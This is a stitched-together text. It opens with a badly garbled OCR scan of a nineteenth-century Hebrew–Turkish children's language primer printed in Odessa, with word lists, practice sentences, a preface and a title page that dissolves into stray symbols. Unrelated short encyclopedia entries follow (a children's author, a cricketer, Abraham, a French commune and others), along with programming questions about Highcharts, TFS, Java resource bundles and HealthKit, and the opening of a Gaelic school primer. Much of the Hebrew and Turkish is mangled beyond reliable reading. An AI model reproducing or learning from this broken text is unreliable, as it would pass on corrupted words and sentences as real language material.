אל ' ננדינא אלמאיי וא נארי אל * בגא באל ויר - * בגא בּאלי ויר. *
בן קאן דוכדים * בן קאני דוכדים * בן יא< צאלדים * בן יאגי צאלדים *
בּבּאם אט סאטדי * בּבאם אטי סאטדי '
5 8
אי עָבָר , קול . הַעַבד , אול קול .
ערב , קרגא. העורב | אול קרגא .
ערר , כורוב העדר ' אול סורוב .
ב = רי, יַשְשָאל. | הַעַבְרִי הַזֶה , בו ישיאל.
גוו | גו האגוז הזה | בו ג'ויז .
/ ן -
על, אב . | הַעְנָל הַהוָּא, או בּוזאב.
ב ּסף , נומוש. הַכָּסף < ההוא , או גומוש .
ָהָב, - . | וְהזָהב הַזֶה , וא בו אלטין
מָתִי , חצאן. עְצַל , ַנִבָּל . הַכָּה , אוּרדי , הדי .
אה , נראיא . קדוב | יאקין . שחט | בוגאזלרי, סויירי .
מאין , נרדן : רחוק , איראק . הלַָ , וארירסין , וארייר סין .
מַחָר , יארין . < ?/ : ריב , קאווגא .
אֶתמל , דון . קל, ינול. בּן , אזגול . בָנִי. אוגלום .
שלְשם , אובירסיגון . חרוּץ , זירג אח , קרדש, אחי , קררשים
מָתִי יָצָא הָעָבָד מֶן הבית ? קול אב רן חצאן ציקדי ?
אחי הִַכָּה אֶת הבר הוה . קרראשים בו קולי דונדי .
הָאיל הזה בָּא מן הְעָדַר . בו קוצקאר סורום דן גלדי .
אָבִי נתן לף בָּרֶם . מְתִי מָלַָ אֶל הִכָרֶם בּכאם סגא בר באג ווררי , סן או אנא
הַהוּא ? הצאן ואריר סין?
אביקנֶה אֶתמל עוּרֶב שחור . העד גָנב דון בבאם ביר סייאח קרגא סאטון אלד
היום את העורב ההוא . קול בוגון או קרנאיי צאלרי .
6 לרגל הילדים
מי נמן לף אֶת הפוח ואת הרְטּן ? = | סנא אלמאוו זא נארי פים וירדי .
דורי נְתן לי מפוח אֶרם (רמון מתיק . | אקאם בגא קירמיזי אלמא וא דאטלי נאר
ויררי .
דוי איש 6 . הוא שָפֶךּ דָם . אקאם פנא כישי דיר , או קאן דופדי .
דוּרִי איש תָכֶם . הוא נָפן קי ספֶר טוב . אקאם עקללי כישי ריר , או בגא או
כּתאב ויררי .
הוא שָפֶךָּ אֶת הִדֶּם . או קאני דוכדי .
הראש עגל==ענל הֶראש . באש טוגרכ דיר .
הרמח אֶרְךְ=אָרך הרמח . מוראק אוזון דיר .
חכֶם הורִי = דורי חָכֶם . אקאם עקללי דיר
הְאֶלְהים נָתן לף ביָת גדול * הָאֶלְהִים חכס וגדול וְחָוָק * אָבִי רָאָה
הַים אֶת הָאִיש * הָאִיש חלה הלט ' האיש מַת הַלילָה * גָבומ הארו *
חלה וחלש המל אנ ְאִיתִי היוס כִִדָּל דול וְאָר גב * אַנִי רתי
הַלִילָה אֶת הדל וְאַת הָאָרז * הָאיל גדל וחק * חק דול הָאיל י
מִי מַכר לך אֶת הָאיל? תִן לי אַת הסוס וְאֶת האיל קחלה * אָבִי קה הַים
יל חַָּק * מִי קנָה אֶת האל ל הָרמון מוב * טוב הֶרְמון * מִיבָּא אלו הְכִּית *
הָאִיש בָּא אֶל הנן * מִיאַתֶּהאָנִיערעָנִי * מיהוא + - הוא איש חִכֶם *
הָרְמּן מתוק ' הָאָלְהִיִם ם נתן אֶת הֶרוּת * הָאֶלְחִים ירד מִן השמים * הדי
מִכָר אֶת הָאִיָל * הָראש ג 0 תל י האֶלהִים נַתַן הלילה רוח גול ְחוּק י
סלוי אוכסב וא פגיש דיר * קוצקאר אריק וא כיציב דיר * אלה
בגא עקללי בּבא וירדי * אלהה. סגא עקללי אקא ורדי * " בּבאמי
אלדי * אללה אקאמי אלרי * קוצקאר שראבי דוכדי *' קוצקאר חסטא דיר *
קוצקאר הסטאלנדי * אקאם סלויי גורדי * בגא סונגיי - 0 סונגיי
אל * בגא נארי ויר * בּן פּוגון סונגיי גוררים * סוקאק דאר דיר * נאר איי
וא קירמיזי דיר * באש סייאח דיר * סוקאק פניש. דיר * סונגי בּיוכ וא
אוזון דיר * בא בּבּאם סונגיי וירדי י אקאם סגא סונגיי סאטרי * פלוי
בוגון אקטארילרי * בּבּאם קוצקאר סאטרי * אקאם קוצקארי סאטון אלדי *
אוגלאן קוצקארי צאלדי * אקאם פונגיי צאלרי * בן .סוקאק ני גורדים *
בן בורג'דן אנדים ' אקאם פוקאק דן ציקדי * פאדשאהא וארדים * קאר
גוכרן אנדי .
בגא אלמא ויר * בּנא אלמאיי ויד * בן אוגוז נורדים * כן אוגוזי
גורדים * אקאם אכּמב וא אלמא יידי * אקאם אכמני וא אלמאיי יידי. *
בבאם בגא כּתאב וירדי * בּבּאם בגא כתאבי וירדי * בּבּאם פונגי אלדי *
לרגל הילרים 5
יירים ,
דיר+ - בייאז שראב * סן
בן בוגג'א קרט אתוזגלררים * בו כּים. דיר?' - בּבּאם * בו -
אחטייאר
פוקרא אוגלאן אים * בו חסטא אים .
בּבּא סין * או זגין אקא דיר '
.
4 %
א, אֶלְהִים , אללה , האָלהים , אול אללה .
אש , כישי . הָאִיש , אול כּישי
או , סלו . הָאָרָּ, אול סלוי
רפון , נאר : הרמון . אול נאר .
רוח , ייל . לוזגר . הרוח , אל ייל .
המח , זסונגי . מַזרַאק . הַרמַת , אול סונני , אול מזראק ,
ב | תפוח , אֶלְמַא . תפוח , וא אלמא .
אֶת הַפְפּוְחָ , אלמאיי . ואת הפוח , וא אלמאיי.
אול , קוצקאר . רַע, פא . חִכֶּם , עקללי .
ראש , באש . ארם , קירמיזי . אַל . בָּא , נלדי .
רְחוב , סוקאק ; עָגל , טונרכ . לְקַח , אלרי .
דֶם, קאן: אֶרף , אוזון . קח , אל .
ספָר , כתאב . מר , אג'י . לף , סנא , ננריגא .
איש בָּא אֶל הבית .
מִי רְאֶה אֶת הָאיש +
מ ְאֶה אֶת הָאָלְהִים ז
אֶבי נָתן לי היום פפוח וְרָמון .
דוי לח אֶת הפפוח וְאֶת הְרמון .
היום הְרוּחַ גדל וְתוּק .
הרמון אֶדם וְענל .
אַנִי איחי אֶרְו נָּכּ .
הָאָרִז דול וגבוףּ .
הָרְחוּב אֶרך ורחב .
קח לְף אֶת הפפוח ואת הרמון פִן לִי .
קח לָך אֶת השור וְאֶת הפוס פן לו .
קח לף אֶת הַדְּבָש וְאֶת הַלְסֶם מִן / :
אִבָא (בּיר) כּישי נלדי .
כּישי ניכּים גוררי ?
אללהי כּים גוררי ?
בּבאם בגא בונון אלמא וא נאר ויררי .
אקאם אלמאיי וא נארי אלדי .
בוגון לווגר ביוכ וא קוותלי דיר .
נאר קירמיזי וא טוגרכ דיר .
בּן אופסכ סלוי נורדים .
סלוי בּיוכ וא אוכּסכ ריר .
סוקאק אוזון וא כגיש דיר .
גנדוגא אלמאיי אל , נארי בנא ויר .
גנדיו גא אונוזי אל וא אטי כנא ויר .
באלי ננדינא אל אכמני בגא ויר "
4 לרגל הילרים
הלילה יָרֶר שֶלְג מִן השְמִיֶם . בו גג'א גוכרן קאר אנדי .
אָבִי חל הלילה אֶל הגן . בּבאם בו גג'א בחצאיא גיטרי
מה ! - הוה + בו כּים דיר ? -- בו נא דיר ?
אי עשיר -- אפ חלָה. -- הוא גדל . = בן ונגין אים . -- סן חסטא פון --או
ו כו
אי ער - אִַפָּה שָבִי - הוא מָלְף .| בן אוגלאן אים -- סן בּכאם פון - או
פארשאה ריר .
ממי,קטן . -- הא זק , - אִפָּה לָבֶן -- בן כיצוכ אים -- או קרט ריר -- סן
בייאז סון .
סִי הָלך הָיום אל הַנָּן ? בוגון בחצאיא כּים גיטדי ?
המָלֶּ הלף היום אֶל הַכָרֶם . פאדשאה בוגון באגא ניטדי . ו
מִי רָאָה מִלֶךָ + מי רְאֶה אֶת הַמֶלָך אָבִי רְטֶה מְִלְהּ ' אָבִי רְאָה .
הַמַלְדּ ' מִי הָלך היום אֶל ב המל הָלַך אל הַמ דל ' מי אָכַלְלָחֶ
מִי אָכל אֶת הַלָתֶם? אָנִי אָכַלְתִּי לָחֶם * אָנִי אבְַתִּי הַיִם אֶת הַלְתֶם * אָנִי
ראִיתִי היים שור חק ' אָבִי רַאֶה אֶת השור * אֶנִי שפכתי אֶת המים * מגער
גב אֶת הַדָּבָש ' דורי שָפך אֶת הדבש * מִי חָלָה היום ? דודִי מת הַלִיִלָה *
מִי גְנַב אֶת הַפוּס + הער גּנַב סוס זקן. * מִי רְאֶה אֶת אָבִי + אָנִי רְאִיתִי
הים אֶת הַמֶלָך ' אָנִי שפַכְתִי הלילה אֶת חיין. * אָנִ אָכלתִּי הַיּם. אֶת
הדבש * היום יָרַד שלג מִן השמים * מִי רַאֶה אֶת הַשָקֶג * דורי יָצָא מן
הבית * דירי יָצָא מן המים + המלה יר מן הַמַנִדָּל * אָנִי נער קִמִן ' אַתָה
מל גחל * הוא נער ענִי * מִי ה +- - עשר * מה זֶה +-כְּרֶס רָתָב י
מִי זה ?-אָבִי . מה זה +-סוס חלה.
אמני כים צאלדי + אונוזי כים צאלדי + אקאם אבי סאמון אלדי *
אקאם אבי גורדי * אקאם באלי צאלדי * אוגלאן (אושאק) ב דוכרי '
ובדן בוגון כּים ציקדי + או אכמגי צאלרי * או בוגון באלי יידי * בוגון
או באלי צאלרי * בבאם בו גנ'א באל יידי * או בוגון חסטא דיר * או בוגון
חסטאלנדי * או בוגג'א אולדי * או בוגגיא בורג'דן דושדי * או בוגון סוייא
רושדי (ייגילדי) י אקאם בּחצאיא גימדי * בבאם בהצא דן ציקדי * אקאם
באגרן ציקדי * בבאם ביוב בחצא סאטדי * אקאם בחצאיי סאטון אלדי .
אקאם בוגון איי באג סאמדי ' פאדשאה באגי סאטון אלרי * או סויי דן
ציקדי * או באגא גיטדי * בן בחצאיא. גיטדים *. בן באלי יידים ' בן סויי
איצדים * בּבּאם בחצאיי גורדי * בן בוגון באלי דוכדים * או יאני דורי .
בן בו נג'א דאטלי אמכ יידים * בּן סויי איצדים * בן בוגון בייאז באל
אכמב
ו
לרגל הילדים 3
בּנא אריק אט וירדי ' אם אריק דיר * אוגלאן סייאח דיר * אטם דושדי *
פאדשאה מקאתסיז אט סאטון אלדי * אט טקאתסיז דיר * בְּבּאם כּיציכ
אב סאטרי '' אב כּיציכ דיר ' בבאם בגא כיציכ אם וירדי ! אם כיציכ דיר *
אוגלאן ציקדי * אקאם דושדי: אקאם מל קאתסיז דיר ' אוגלאן פאקיר (פוקרא)
דיר * פאדשאה קוותלי דיר + פאדשאה חסטאלנדי * פאדשאה ביוכ דיר '
אקאם סייאח דיר . פאדשאח בייאז דיר * אב בּייאז דיר * בורג' כגיש דיר *
8 3
א שר, אתו = אֶת השור , אול אונוזי , אונוזי (אוגיז ני)
שָמן, יי | אֶת השמן | אול יאני , יאני (יא3 ני)
ב | גן, בחצא אֶל ה הַגָן , אול בחצאיא, בחצא יא (באצא א) .
רס , באג. | אל הַכְרֶם , אול בּאנא, בּאנא (בּאנ גא).
ג. שמים, וב . מן הַשְמִיִם , וכ דן .
מם 2 חתפית מ ה
מ ז כּים ז הַילה , נג'א. ב , צאלרי, אומרקרי.
ֶה, בּוּ. . ללה | בוג'א . בת . צאלרים 'אוגורלדים
מה + נאז שָלג, כאר הָלֶךְ , גיטדי , וארדי .
אָנִי , בָּן ' וק , אחטייאר.. קרט . בי גיטדים . וארדים .
אַתָּה , סן ראה , גורדי . יָרַר , אִנְדִי . דושדי .
הוא , או. ראיתו , גורדים . ְרַרְתי אנדים . דושרים .
ום, ג : שפ ,| דוכרו, אלתי | יידים .
היום . אול גון . בּוגון , ש פכקו / דוכדים . שַתִיתי | איצדים .
גי אכלתי לחֶם . בן יידים אכּמפ , בּן אמכ יידים .
אַנִי אָבַלְתִּי אֶת הַלְחֶם בן יירום אול אמכ ני , בן אכּמנו יורים.
אָנִי שִחִיתִי מִיָם בן איצרים סויי , כן סוי איצרים ,
אַנִי שתִיתִי אֶת הפים . בן סויי איצרים , (בן סויי גי איצרים)
אנִי שְפָכְתִּי שְמֶן . בן יאג רוכדים
אִנִי שָפַכְתִי אֶת השָמן . בן יאגי דוכרים .
דורי שָחָה היום יין . אקאם בוגון שראב איצרי
דורי שָתָה הַיוּם אֶת חיין . אקאם בוגון שראבי אוצרי .
מה זה הלילה מן השמים כ בו נג'א נוכרן נא א אנדו 4
2 לרגל הילרים
איצדי . בּבּאם בייאז 4 סאטדי . בּבּאם בייאז שראב סאטון אלדי. .
אקאם בגא ביוב אט סאטדי . אקאם בייאו אט סאטון אלדי . אקאם
בגא ביוכ אָב סאטדי .
2 %
- , פאדשאה. הפל , אול פאדשאה .
נער , אונלאן. הנ ער, אול אוגלאן .
דִּבָש , באל . הדבש, אל באל.
מל , בור = הַמְנְדּל, אול בוני
מ , אולדי חלש , טקאתסיז . רָחֶבָ , לש .
נָפַל , דושדי , ייגילדי. ל \ פאקיר, אריק , צַר , דאר.
ָצָא , ציקדי. הוּלֶה , הסטא. כּפסיז עשר , זגין .
חֶלָה , חסטאלנדי . בוה , אוכסב . ענו , פאקיר . פוקרא ,
חָוְק , קוותלי, גוצלי . קמן , יציב . שחור | סייאה,
המל עשיר , אול פארשאה זנגין . פארשאה זגגין דור .
הפוס חֶלֶ , אול אט חסטאלנרי . אט חסטאלנרי .
הבית רָחֶב , אול אָב כּניש . אב כגיש ריר .
הער חלָה , אול אוגלאן חסטא . אוגלאן חסטא דיר .
הַמַגְִּל נָבומּ, אול בּוּרְג' אוכספ . בורג' אוכסכ ריר .
אֶבִי חוּלֶה , בּבאם חסטא , בּבּאם חסטא ריר .
הער מת , אול אוגלאן אולדי . אוגלאן אולדי .
הבית נפל , אול אב רוּשרי . אב רושרו (אקטארילרי) .
הפוס מק * הת גּבוהּ * הנער נפל * המלך יצא * הגער מַוָק '
הַבַּיִת צר "המלה לה * הגער חָלָה * הפוס לְבֶן ' הגער דל * המלה -
הַבִֶת גדל הָסוּם קְטֶן * הַפוּס שחור * הִַּבָש מַהוּק המל פָל '
דורי עשיר ו נִי * אָבִי נָפַל י תִּן לי | דבש מח מק ' אבי אָבָל דְּבָש
לבֶן ' וי קנה סוס חָוָק* אָבִי מָכַר סוס שחר * הפוס מַת * דורי מְבַר
בַּיֶת נָבוח * אבי חַלֶש' דורי חלה * אבי הַלָה * דורי מת ' אבי קנה בת
צר * הבית רחב . |
(אול) אונלאן קוותלידיר . בּבּאם בייאז אב סאטרי * (אול) אב בייאז
דיר 'פאדשאה בגא אכמב ויררי' אכמב דאטלי דיר * פאדשאה איי שראב
איצדי ' שראב איי דיר * אוגלאן אריק דיר . אוגלאן ביוכ דיר * אקאם
""י\
רל חילדים :
61
לחם . אכמג > = מָתוּק = דאטלי . = לָחָם מתוקי דאטלי. אכמכ .
חן. שיאב שב. אֶל. יין טוב - אָיי: שיאב .
סום: ₪ + | לכן + בייאז. ₪ לְבֶן. בייאז אט.
בת . 3 .| נָל' ביכ | בת נְּדוְרָ .ביכ א5 .
אכל, יידי,. אשארי. נָתָן . וירדי לי . בנא.
שֶתָה. איצדי. קַנָה , סאטון אלדי . אב. בבא . אָבִי . כּבּאם.
מָכֶר , סאטדי . הָן ' ויר . דור, אקא, דודי . אקאם.
ן לי לְָחֶם. ויר בּנא אמכ . בגא אכּמכ וור .
אִבִי מְכֶר סוס , כּבאם סאטדי אָט . בּבּאם ביר אָט סאטדי .
ן לי לָתֶם מָתוק יר בגא ראטלי אפמפּ . = = כּנא דאטלי אכּמכ ויר .
אָבִי קנה סוס נָדוּל . בכאם סאטון אלדיביוכ אט בּבאם ביר בכ אָט סאטון
אלדי .
דוּרִי שָסָה.יָן לְבֶן / אקאם אוצרי בייאז שראב , אקאם בייאז שראב אוצדי.
ורי נָתַן לִי לָחֶם, אקאם וירדיבנא אמכ , | אקאם בּנא אכּמכ וורדי .
אֶבִי קנ בָּיִת נָדול . בּכּאם סאטון אלרי ביופ אָב , בּכאם ביר ביזכ אב סאטון
4 אלדי .
תַּן לי לחם לבָן . תַן לי יין טוב . מּן לי לְחֶם מָתוּק . מּן לי יין מתוק .
| אָבִי - לְחַם מתוק . דורי שתָה וון טוב . אבי קנה בַּיָת גֶּדול. דוי
| קנ
מָבֶר סוס לְבן . אבי נתן | לי סוס טוב . אָבִי קְנָה בַּיֶת לְבָן . ודי נָתַן לי
לַתַם מתוק . אָבִי קָנָה להם מתוק . אָכִי מָבַר לְהֶם מָתוק . אָבִי שָתָה
יין מָתוּק . אָבִי קנָה סוס לְבֶן .
בנא בייאז שראב ויר . בגא איי אכמכ ויר . בגא ביוכ א5 ויר.
נא ביוכ אם ויר. בגא איי אם ויר . בגא אי אבור . אקאם בגא
איי אט סאטדי. בבאם בגא ביוכ אב וירדי . בבאם בייאז שראב
(חלק ראשון) .1
נכונה לחדר את שכלו . - התלמירים יכתבו את ההעתקות מעברית לטורקית ומטורקית
לעברית בגליון מיוחד כפי החק אשר ינתן להם מאת המלמר יום יום, והמלמד יתקן
את שנגותיהם ויראם את הנטיות אשר נטו מן הכללים הנמסרים להם .
החלק הבי הוא יָלקוט ספורים ומליצות (מכתבי הקדש ומהאחרונים) | אשר
לשונם צחה וקלה ואשר תכן ענינם איננו נשגכ מהבנת נערים רכי-שנים . בטות
אני שהתלמיר הבא עד סוף החלק הא* יהיה לאל יחו לקראם מעצמו בלי כל קשי
בעזר ערף מלין אשר סררתי בסוף הילקוט לא על פי השרשים, אף על פי
המשקל הישר בּשמות ועל פי משקל הגוף הנסתר לזכר בעבר הקל בפעלים , כרי
להקל על התלמירים חקירת המלות . - המלמר רק יבאר ויפרש את המקומות אשר
התלמיר לא יכול להבין מסבה מה.-
אעפייי שבהרפסת הספר הזה מלאכת ההגהה נעשתה בדיוק נמרץ עי אהוּבי
היקרים ר' יעקב דוואן ור' משה סראץ, ופה חוב מוטל עלי להביע להם רגשי
תודותי מקרב לבי) עם כל זה התגנבו בו איזה טעיות קטנות , ועל התלמידים לתקנם
בגוף הספר בטרם יחלו ללמר חקם כפי לוה הטעיות אשר הצגתי בסופו .
א. ק.
פתח דבר .
את הספר הזה חברתי להקל לנערי בני מקרא למוּר לשון תורתנו הקדושה ולשון
אבותינו , לשון הקדש . הררף אשר אחזתי בה היא הדרף החדשה אשר על פיה
תלמדנה כיום כל הלשונות בכל בתידספר איירופא . ולשפת"יתר אחשב להאריך
פה ביתרונה מן הדרך הנושנה אשר בּה הולכים המלמרים הקראים עד היום בּלמוד שפת
עבר : ימִים ידברו !
אחת מסגלוה הררף הזאת היא אשר לא ילמד התלמיך מאומה כצפצוף העופות ,
שלא יבטא בשפתיו בלי שום שכל והבנה לכל אשר יצא מפיו , וכל צער אשר יצער
בלמודו יאור באור הדעת , ולא ימשש בחשף בעור .- בה המררש והמעשה ילכו אחוזי
יד ; הטהעאָרייא והפראקטיקא מתאימות ועוזרות אשה את אחותה : הכלל נוסר על
הפרטים והפרטים מבוארים ומפורשים על יד הכלל .
את החלק הראשון מן הספר יחדתי ללמור הדקדוק וערכתיו וסררתיו באפן שכל
תלמיד מתחיל אשר ילמרנו היטב עד סופו יוכל לקנות על נקלה מלבד יריעת פתרון מלות
רבות אין מספר גם ידיעת כל כללי הדקדוק הנחוצים בין. בבחינת המשקלים והבנינים
(העטימאלאגייא) ובין בבחינת חקי שמוש הלשון (הסינטאקס) , בהתנהלו לאט לאט,
ממדרגה למדרגה, מן הקל אל הכבד , ומן הקשה אל מה שקשה ממנו . - אף הכללים
עצמם לא הצעתים פה בגוף הספר , כי הם נראים מעצמם מתוף המלות או המשפטים
הקצרים הנדפסים לדוגמא באותיות גדולות בראש כל פאראגראף . ועל המלמר
להעיר את התלמיד שישים לבו עליהם ויהיה מבין דבר מתוף דבר. או למסר את
הכללים על פה אם איזה תלמיד בלתי מוכן יקצר שכלו מהבין סוד הדוגמאות .
התלמידים אחרי אשר ילמרו את המלות או את המשפטים המובאים לדוגמא
בראש כל 5 , כאשר אמרתי לעיל , ואהרי אשר יבינו את הכלל או את הלות ,
הציר אשר עליו יפב כל הפרק הנתן להם לחק, ואחרי אשר ילמדו על פה המלות
הנדפסות בכל פרק בתמונת שלשה עמודים ואחרי אשר יעינו היטב על המשפטים
והמאמרים הנדפסים בשני עמודים (עם תרגום טורקי באחר מן העמודים) כי מהם
ילמרו לשמש את הכללים למעשה , חיבים לאמץ כח יריעתם גם על ירי העתקות
מעברית לטורקית ומטורקית לעברית . לתכלית זאת בסוף כל 8 הרביתי מאמרים
ומשלים מורים למטרה אחת ידועה גם בלשון הקרש גם בלשה וקית קצת
מן המאמרים ההם בלשון הקרש הנחתי בלי נקודות , למען ינקדם התלמיר עצמו
כּי חכמת הנקוד בלשון עברית היא אבן בחן לידיעו! ו ואבן השהזה היותר
שי 1 וי
. " 7 4 0 וי
- 2 1 + 60 א
ו
ג"י
4 ד ה
לפסור
רעי הנאמן
%יא- ל וו א ו = ב
6 ו = 4 ו -
כו יזמ
למזכרת אהבה
המחבר .
ץאאאפ\\ +601166 סאאצת/ה
הו
הפ דזו! .א 100108
10
0 0
/ צ
*) ב
ל סד לס
לבל ידפים איש את הספר הזה כלו או מקצתו , בין בתבניתו ובין בתבנית
אהרת , בין בלשונו ובין בהעתקה ללשונות אחרות , בין במדינתנו ובין בתויל-
בלי רשות המחבר, והעובר עי יענש כפי חקי המלכות יריה .
]]
.8 8 108 27 076008 ססקדָ3ח6ת 108808680
ספר
לרנגל הילרים
! ללמד נערי בנימקרא לשון עבר
[ מאת
אי קזאז.
חלק ראשון
הרקדוקי
אָנִי אְֶנְְלָה לאָטי. לרְגָל הסלְאכְה
אָשֶרלֶני ונ הילְרִים + + +
(3רשים לג יד) .
ו
אודססא
ברפוס מ. בעלינסאן
₪
ו 0 וה -
1111 <1'א [ע1)1גע ג 16 151ס1 :
0
. 5.33גא ₪
ה סקז 175
כ דוד
(.מצק 1 בזזמיז1)
== ₪ %%<--
0
500₪0סת06% ,11 ו הקזסחעצ פע
!)=6(
. --ש.
כ% 5007 2-ב 2
4 כ = 2
יש
( י
| >
2 הי 0% ים
6 א וני אתנהלה לָאִי לְרגָל הלאה
%; אלפנ לגל הילרים .
/ ל לב יד)
1 | -. הא'.1 ח'=
0
> אודסכא
בס מ. בעלינסאן
:
:
:
5
5
06 פוחז \אסא? 5
םצס\אפחה זסא ספ 5פגפוק
קןן5 08 6805
18018ק-8מ 6881ע-16
וו ₪ 7
וו | ו ו ו
ו
ו
וה ו
ו
ו
ו 5%
2
ו :
וו
ו ו יר
'נ ד נ ו
י .י לי .|
. יי ו
.ןו ( ול
ירי 0 יו 0 ,
0% לו ו ייג
יו וי ות ו
ונת | 5
וו 1 | י
₪ .,
יהיו בי
.ו 1%
4
7[ 1 .
ו ו( 0
: '
0 ו
1 ₪
%
1 ו "וי
7
1 1
₪0
4
ו
. 1 0 ו מ
\ ו ₪
ו
ו
ו
|
Daniel Handler (born February 28, 1970) is the real name of Lemony Snicket, author of the popular A Series of Unfortunate Events books. He graduated from Lowell High School and from Wesleyan University in 1992. He is a native of San Francisco and went to the San Francisco Boys Chorus. He calls himself the fake name of Lemony Snicket in the books, as well as in Lemony's autobiography. The autobiography is listed as fiction. After several years of writing the books, Daniel let the public know that he was behind the name of Lemony Snicket.
He is married to Lisa Brown and had their first child, Otto, in October of 2003. He finished 13 books to complete the Series of Unfortunate Events.
It is also believed by some people that his wife, author and illustrator Lisa Brown could possibly be the "Beatrice" that Handler writes his books for.
References
1970 births
Living people
Writers from San Francisco |
<p>I have a use case where I need to display the percentage change in value of a time series chart in the chart title.</p>
<p>So far, I have tried getting the first and last element of the series, but this only works when all the data is visible. I need a way to account for the zoom buttons and the range selector elements.</p>
<p>Any suggestions on how to obtain the first and last axis y values of the current date range?</p>
<pre><code>$(function() {
$.getJSON('http://www.highcharts.com/samples/data/jsonp.php?filename=aapl-c.json&callback=?', function(data) {
// Create the chart
$('#container').highcharts('StockChart', {
rangeSelector : {
selected : 1,
},
title : {
text : 'AAPL price change +5%' // how to get the %?
},
series : [{
name : 'AAPL',
data : data,
tooltip: {
valueDecimals: 2
}
}],
});
});
});
</code></pre>
<p>Edit: I have tried to adapt another example to my needs: <a href="http://jsfiddle.net/F8MjD/5/" rel="nofollow">http://jsfiddle.net/F8MjD/5/</a></p>
<p>Example used: <a href="http://jsfiddle.net/NsD3s/7/" rel="nofollow">http://jsfiddle.net/NsD3s/7/</a></p>
<p>But still doesn't work, even though it looks exactly the same to me?</p> |
<p>Our project group stored binary files of the project that we are working on in SVN repository for over a year, in the end our repository grew out of control, taking backups of SVN repo became impossible at one point since each binary that is checked in is around 20 MB.</p>
<p>Now we switched to TFS,we are not responsible for backing the repository up, our IT tream takes care of it and we have more network and storage capacity for backups because of that but we want to decide what to do with the binaries. As far as I know TFS stores deltas and for binary files but deltas will be huge, but we might end up reaching our disk space quota one day, so I would like to plan things better from the start, I don't want to get caught up in a bad situation when it's too late to fix the problem.</p>
<p>I would prefer not keeping builds in the source control but our project group insists to keep a copy of every binary for reproducing the problems that we see in the production system, I can't get them to get the source code from TFS, build it and create the binary, because it is not straightforward according to them. </p>
<p>Does TFS offer a better build versioning method? If someone can share some insight I'd really be grateful.</p> |
Bruce Richard Taylor (12 July 1943 – 6 February 2021) was a New Zealand cricketer. He played 30 Tests and 2 ODIs for his country between 1965 and 1973. He is the only cricketer to score a century and take a five-wicket haul in their first Test match.
Taylor was born in Timaru. He was sentenced to one year imprisonment for fraud. He served his sentence between 1993 and 1994.
Taylor died on 6 February 2021 in Boulcott, Lower Hutt. He was 77.
References
Other websites
1943 births
2021 deaths
New Zealand cricketers
People from South Island |
Abraham (originally Abram) is a man in the Book of Genesis and the Qur'an. There, he is said to be the father of all Jews. This is because he is their ancestor. Abraham is part of the Jewish, Christian and Islamic religions. Abraham is considered the father of these three religions, which are called Abrahamic religions.
Abraham is the father of Isaac with his wife Sarah. He also has Ishmael with Hagar, Sarah's handmaid, and he has other children with Keturah, whom he marries after Sarah's death. He is the grandfather of Jacob and Esau. Abraham is believed to be the founding patriarch of the Israelites, Ishmaelites and Edomites. Abraham was the third son of Terah and the grandson of Nahor. Abraham's older brothers were named Nahor and Haran.
Other websites
"Journey and Life of the Patriarch Abraham" is an old map from 1590 that is about Abraham
Old Testament people
Ancient Israeli people |
Grana (Gra-nuh) are the thylakoid cell stacks in a chloroplast cell. Its singular name is "Granum". It is located in the stroma of the chloroplast.
Botany |
<p>What's the naming convention for message bundle property files when using extensions or private use subtags?
For instance, if the locale is EN US, the property file lookup will be</p>
<pre><code>message_en_US.properties
</code></pre>
<p>though, what if I need instantiate a local EN US and the private use subtag string is <code>RandomTag</code>. How do I name the file so <code>GetBundle</code> can find it? <a href="https://docs.oracle.com/javase/7/docs/api/java/util/ResourceBundle.html#getBundle%28java.lang.String,%20java.util.Locale,%20java.lang.ClassLoader%29" rel="nofollow noreferrer">The API doc does not talk about how to deal with extensions</a></p>
<p>P.S: I realize <code>RandomTag</code> can be specified as a variant and I could just name the file <code>message_en_US_RandomTag.properties</code> but I would like to avoid this as we might use legitimate variants in the future as specified in the <a href="https://tools.ietf.org/search/bcp47#section-2.2.5" rel="nofollow noreferrer">BCP-47 standards</a> for locale</p> |
<p>I am using health-kit in my application to read user's steps and activities. Every this in okay But I want to read only auto detected activities and steps. Currently I get all the data weather it was manually entereed or auto detected by health application. This is my code so far</p>
<pre><code>func todaySteps(completion: (Double, NSError?) -> () )
{
let type = HKSampleType.quantityTypeForIdentifier(HKQuantityTypeIdentifierStepCount) // The type of data we are requesting
let date = NSDate()
print(date)
let cal = NSCalendar(calendarIdentifier: NSCalendarIdentifierGregorian)!
let newDate = cal.startOfDayForDate(date)
print(newDate)
let predicate = HKQuery.predicateForSamplesWithStartDate(newDate, endDate: NSDate(), options: .None) // Our search predicate which will fetch all steps taken today
let query = HKSampleQuery(sampleType: type!, predicate: predicate, limit: 0, sortDescriptors: nil) { query, results, error in
var steps: Double = 0
if results?.count > 0
{
for result in results as! [HKQuantitySample]
{
steps += result.quantity.doubleValueForUnit(HKUnit.countUnit())
}
}
completion(steps, error)
}
executeQuery(query)
}
</code></pre>
<p>But where and how can I check the data was user entered or auto detected? I have seen <a href="https://stackoverflow.com/questions/32147812/detect-if-healthkit-activity-has-been-entered-manually">This</a> Question as well but its in objective-c and I was not able to fully understand it so please Guide me on this.</p> |
Warminster is a town in Wiltshire, South West England. It is to the south of Westbury and to the east of Frome.
Towns in Wiltshire |
Sir Murray Gordon Halberg (born 7 July 1933) is a New Zealand former middle-distance runner. He was born in Eketahuna. He won the gold medal in the 5000 metres event at the 1960 Summer Olympics. He also won gold medals in the 3 miles events at the 1958 and 1962 Commonwealth Games. In 1963, he set up the Halberg Trust, which supports children with disabilities to be active in sport, creation and leisure. The organisation rebranded in 2012 to become the Halberg Disability Sport Foundation.
References
Other websites
Murray Halberg at Sports-Reference.com
1933 births
Living people
Members of the Order of the British Empire
Olympic gold medalists
Sportspeople from North Island |
Plouha is a commune. It is found in the region Bretagne in the Côtes-d'Armor department in the west of France.
Sister cities
Plouha is twinned with:
Killorglin, Ireland, since 1999
Palas de Rei, Spain, since 2003.
Communes in Côtes-d'Armor |
CEUD LEABHAR
AIR SON
NAN SGOILEAN GAELACH
AIR AN CUMAIL SUAS LE COMUNN ARD-SHEANAIDH
EAGLAIS NA H-ALBA.
AN TREAS CLODH -BUALADH.
DUNEIDIN :
AIR A CHLÒDH-BHUALADH
LE UILLEAM BLACKWOOD AGUS A MHIC.
AN AIBIDIL.
ABCDEFGHl
LMNOPRSTU
abcdefghi
Im noprst u
ABCDEFGHI
L 31 N 0 P R S T U
abcdefghi
Imnoprstu
MGHINOPLC
m g h i n o p 1 c
DBAFERUTS
d b a f e r
Na Foghaire.
a e i o u
Na Comh-fhoghaireaìi
